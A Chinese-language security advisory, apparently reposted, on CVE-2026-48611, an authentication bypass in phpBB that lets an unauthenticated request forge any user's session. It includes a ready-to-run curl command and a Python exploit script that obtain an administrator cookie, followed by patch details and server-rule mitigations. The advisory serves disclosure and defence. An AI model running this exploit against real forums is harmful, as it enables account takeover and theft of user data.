高危漏洞预警|CVE-2026-48611 phpBB 未授权身份认证绕过高危漏洞(可劫持任意管理员账号)
飓风网络安全
2026年7月6日 19:19
北京
在小说阅读器读本章
去阅读
一、漏洞基础信息
-
漏洞编号:CVE-2026-48611
-
漏洞评级:严重(Critical)
-
CVSS 3.1评分:9.8
向量:AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H -
漏洞类型:CWE-305 身份验证绕过、CWE-287 不当身份校验
-
影响产品:开源论坛程序 phpBB
受影响版本:phpBB 3.1.0 ~ 3.3.16、4.0.0-a2
修复版本:phpBB 3.3.17(2026-06-06 官方发布)
-
核心风险:无需登录、无需用户交互、无需开启OAuth组件,仅一条HTTP请求即可伪造任意用户(含超级管理员)身份,接管全站权限
二、漏洞概述
phpBB 内置OAuth第三方登录模块存在逻辑缺陷:OAuth身份校验函数未做开关判断,即使站点完全关闭OAuth功能、仅使用数据库账号登录,攻击者仍可通过构造恶意URL参数绕过全部登录校验逻辑,直接生成目标用户合法会话Cookie。
漏洞无前置条件:公网可直接利用、无验证码/IP限制、不需要用户点击钓鱼链接、不需要账号密码,仅需已知目标用户ID即可完成劫持。
成功利用后攻击者可: -
登录论坛后台,修改全站配置、上传恶意附件;
-
窃取全部用户手机号、邮箱、发帖记录等敏感数据;
-
篡改管理员账号密码,永久接管站点;
-
结合文件上传漏洞植入WebShell,拿下服务器权限。
三、漏洞原理深度分析
3.1 源码缺陷点
phpBB 源码 auth/oauth/oauth\_base.php 中存在两处致命逻辑错误:
-
OAuth鉴权流程未增加 oauth\_enable 全局开关判断,站点关闭OAuth后校验代码仍可被外部路由调用;
-
读取第三方身份标识时直接将传入的 user\_id 参数赋值给会话上下文,未校验该ID是否与OAuth绑定账号匹配,无签名、无令牌校验。
访问路由 /ucp.php?mode=oauth\_auth 时,程序直接读取GET参数 user\_id,跳过密码校验、会话校验、权限校验,直接调用 session\_create() 生成有效登录Cookie并返回浏览器。
3.2 攻击链路
攻击者输入构造URL → Web服务接收请求 → 直接进入OAuth鉴权逻辑 → 读取可控user\_id → 创建目标用户会话 → 返回登录态Cookie → 攻击者携带Cookie访问后台/用户中心。
四、漏洞复现与完整POC(Python+curl两种实现)
法律声明:以下代码仅用于授权的安全测试与漏洞验证,禁止用于未授权的网络攻击。非法利用漏洞将承担相应法律责任。
前置条件
1. 目标phpBB版本 ≤3.3.16;
-
公网可访问 /ucp.php 页面;
-
提前获取目标用户ID(可通过帖子、用户主页链接抓取,管理员默认user\_id=1)。
POC1:Curl一键利用(最简,可直接复制执行)
替换参数:TARGET\_URL=论坛地址,TARGET\_UID=目标用户ID(管理员填1)
TARGET\_URL=\"https://bbs.test.com\"
TARGET\_UID=1
curl -i -s -c cookie.txt \"$TARGET\_URL/ucp.php?mode=oauth\_auth&user\_id=$TARGET\_UID\"
执行完成后 cookie.txt 内包含合法管理员登录Cookie
携带Cookie访问后台
curl -b cookie.txt \"$TARGET\_URL/adm/index.php\"
POC2:完整Python自动化利用脚本
import requests
import sys
def phpbb\_auth\_bypass(target: str, uid: int):
session = requests.Session()
exploit\_url = f\"{target.rstrip('/')}/ucp.php?mode=oauth\_auth&user\_id={uid}\"
headers = {
\"User-Agent\": \"Mozilla/5.0 Windows x64 phpbb-exploit\"
}
resp = session.get(exploit\_url, headers=headers, allow\_redirects=False)
if \"phpbb3\_sid\" in resp.cookies:
print(f\"[+] 漏洞利用成功!目标用户UID:{uid} 会话Cookie已获取\")
print(f\"[Cookie完整内容] {resp.cookies.get\_dict()}\")
# 访问管理员后台验证权限
admin\_check = session.get(f\"{target}/adm/index.php\")
if \"管理面板\" in admin\_check.text or \"Administration Control Panel\" in admin\_check.text:
print(\"[+] 已成功登录管理员后台,站点完全沦陷\")
return resp.cookies.get\_dict()
else:
print(\"[-] 目标不存在漏洞,已升级至3.3.17或已添加防护\")
return None
if \\_name\\ == \"\\main\\_\":
if len(sys.argv) !=3:
print(\"使用方式:python exp.py 论坛地址 目标用户ID\")
print(\"示例:python exp.py https://demo.phpbb.com 1\")
sys.exit(1)
target\_domain = sys.argv[1]
target\_uid = int(sys.argv[2])
phpbb\_auth\_bypass(target\_domain, target\_uid)
复现步骤
1. 搭建 phpBB 3.3.16 测试环境;
-
后台关闭所有OAuth登录渠道,仅保留数据库登录;
-
运行上述curl或Python脚本,传入管理员UID=1;
-
脚本返回包含 phpbb3\_sid、phpbb3\_u 的Cookie;
-
使用该Cookie访问 /adm/index.php,无需密码直接进入全局管理后台。
五、风险影响场景
1. 政企内部论坛:大量单位使用phpBB搭建内部知识库,漏洞泄露员工通讯录、涉密讨论内容;
-
游戏/社群论坛:攻击者批量劫持管理员账号,篡改公告、发布诈骗链接;
-
开源社区站点:盗取账号后篡改插件、源码下载链接,植入后门木马;
-
低防护小型站点:无WAF、无日志审计,漏洞被批量扫描工具利用后长期失陷。
六、漏洞修复方案(优先级从高到低)
1. 紧急修复(推荐,永久根除)
升级 phpBB 至官方修复版本 3.3.17
官方补丁修改内容:
• 增加OAuth总开关校验,关闭OAuth后拦截 /oauth\_auth 路由;
• 增加user\_id令牌签名校验,禁止外部参数直接操控会话用户;
• 限制OAuth路由仅在第三方登录开启时可访问。
2. 临时缓解(无法升级时应急)
方案A:Nginx 拦截恶意路由
location ~\* /ucp\.php\?mode=oauth\_auth {
deny all;
}
方案B:Apache .htaccess 防护
RewriteEngine On
RewriteCond %{QUERY\_STRING} mode=oauth\_auth
RewriteRule ^ucp\.php - [R=403,L]
方案C:代码临时补丁
编辑 ucp.php 文件,在文件头部增加拦截代码:
if(isset($\_GET['mode']) && $\_GET['mode'] == 'oauth\_auth'){
exit(\"Access Denied\");
}
3. 运维长效加固
1. 部署WAF,拦截URL携带 mode=oauth\_auth 的请求;
-
开启phpBB登录日志,监控异常无密码管理员登录行为;
-
限制后台管理页面IP白名单;
-
定期扫描用户ID遍历行为,防止攻击者批量劫持普通用户。
七、安全运营预警建议 -
全网资产测绘:检索对外开放phpBB 3.3.16及以下版本站点;
-
威胁狩猎:监控访问日志中包含 mode=oauth\_auth 的异常请求源IP;
-
应急响应:若发现漏洞被利用,立即重置全部管理员密码、清理恶意附件、升级程序版本、核查服务器是否植入后门。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论